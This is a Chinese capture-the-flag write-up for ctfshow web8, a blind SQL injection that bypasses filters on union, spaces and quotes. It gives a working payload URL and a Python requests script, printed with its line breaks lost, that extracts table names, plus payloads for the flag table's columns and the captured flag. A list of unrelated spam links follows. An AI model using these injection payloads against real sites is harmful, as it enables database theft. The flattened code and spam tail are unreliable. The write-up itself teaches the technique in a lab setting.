当前位置: 首页 > wzjs >正文

谁用腾讯风铃做网站的凤凰网台湾资讯

谁用腾讯风铃做网站的,凤凰网台湾资讯,取消工法建设部网站,wordpress网站后台要怎么登陆前言 学习内容:简单的盲注脚本的书写 web8 这个题目题目手动注入很麻烦 主要是他过滤了 union 空格和 过滤了union的解决方法 1、使用盲注(报错注入和盲注) 2、使用时间盲注 3、堆叠注入 盲注脚本的书写 首先他是有注入点的 然后熟悉requests包的使用 …

前言

学习内容:简单的盲注脚本的书写 

web8

这个题目题目手动注入很麻烦  主要是他过滤了 union 空格和' 

过滤了union的解决方法

1、使用盲注(报错注入和盲注)

2、使用时间盲注

3、堆叠注入

盲注脚本的书写

首先他是有注入点的

然后熟悉requests包的使用

requests包

第一步就是导入包 

如果你没下载的话需要你去 pip3 install  requests

发现一堆这个报错

这个是因为 没有 设置web的ssl证书  把https改为http就行了

或者是进行关闭证书验证

x = requests.get( 'http://a3e68ff9-c655-4e31-ab39-0b6fdb1aa5aa.challenge.ctf.show/index.php?id=1/**/or/**/1=1', verify=False)

验证成功   可以查看返回的内容

为了方便也可以写入到文件中去

前置知识说完就开始写脚本

脚本的书写

他过滤了 union 那我们还是可以进行数据库的查询的

其实我们写脚本是不用判断他的数据库啊 表啊的长度是多少的  只要我们多写几个循坏就能搞定

发现使用这个 也会报错 说明这个 , 可能也是被过滤了

这个形式不懂的可以搜一下  其实就是和 , 一样  from是开始的位数 for是步长 

https://a3e68ff9-c655-4e31-ab39-0b6fdb1aa5aa.challenge.ctf.show/index.php?id=1/**/or/**/ascii(substr(database()from/**/1/**/for/**/1))%3E97

这个就是我们的payload

如果我们输入成功就会出现页面  这个可以作为我们一个成功的特征

先写这些  循坏如果是遍历这个 数据库名字的话可以小一些  主要是第二个占位符需要使用 ascii 码进行遍历 

payload%(i,j)   就是表示进行站位符的赋值

发送payload

组合一下是不是就是我们上面的那个  然后再写就是判断正确的返回

根据上面的

发现只有成功才会返回if页面不然就是空的  所以我们判断就是if是不是在返回中

但是这个样子很容易卡死或者  无限循坏 所以需要带个终止的

优化一下  需要注意把 url换为 http开头的

运行 

源码:

import requestsurl="http://1391be5a-661f-4210-a5a8-ee142d9ad5f7.challenge.ctf.show/index.php?id=-1/**/or/**/" #定义为这样为了后面拼接payload
result=""     #定义一个结果for i in range(1,45):# payload="ascii(substr(database()from/**/%d/**/for/**/1))=%d"   #%d就是这个预处理的占位符  这边我们可以是变化的所以就不需要禁下定义  后面执行的时候再给他定义payload = 'ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database())from/**/%d/**/for/**/1))=%d'print(f"正在获取第{i}个字符")count=0for j in range(32,127):x=requests.get(url+payload%(i,j),verify=False)if 'If' in x.text:result+=chr(j)print(f"当前的结果{result}")breakcount+=1if count>(127-32):exit()

获取表 :

字段:

    # 获取flag表的字段# payload = 'ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=0x666C6167)from/**/%d/**/for/**/1))=%d'# 获取flag表的数据# 修改后的payload(注意空格处理)

ctfshow{0f009533-475d-471f-a190-0b795f068b5a}

http://www.dtcms.com/wzjs/33893.html

相关文章:

  • 天猫店铺装修做特效的网站seo工作职责
  • 域名注册的网址长沙关键词优化服务
  • 网站ip被屏蔽怎么办广州seo网站推广优化
  • 线上设计师靠谱吗长沙优化科技
  • 猪八戒托管赏金做网站新手怎么引流推广
  • 现在可以做网站么百度指数的搜索指数
  • 建设银行成都开发中心网站网页制作
  • 毕业论文网站开发需要多少钱sem优化软件哪家好
  • 做外贸自己的公司网站企业seo推广
  • 都有哪些方法做动态网站的静态化厦门seo屈兴东
  • 怎么做卖橘子的网站十大最靠谱培训机构
  • 腾讯云服务器如何建设网站查域名注册详细信息查询
  • 知名的设计公司网站网络营销策划书3000字
  • 雄安做网站优化网站seo优化推广
  • 运营公众号还是做网站腾讯企点官网
  • 铜陵网站开发网站优化与seo
  • 政务公开网站建设管理营销推广网站
  • webstation做网站cdq百度指数
  • 培训机构活动策划网站代码优化
  • 大连制作网站成人大专
  • 网站开发常用的前端框架百度热搜榜今日头条排名
  • 手机企业网站制作流程如何在百度上做广告宣传
  • 网站全景图怎么做天津优化公司哪家好
  • 乐陵网站开发网络营销发展现状与趋势
  • 做网站什么内容吸引人现在感染症状有哪些
  • 成都网站建设价格表百度竞价排名查询网站
  • 石家庄做网站哪家公司好国家市场监管总局官网
  • 云南手工活外发加工网东莞网站推广及优化
  • 网站备案表格下载网站排名优化+o+m
  • 昆明市住房和城乡建设局网站上看的app优化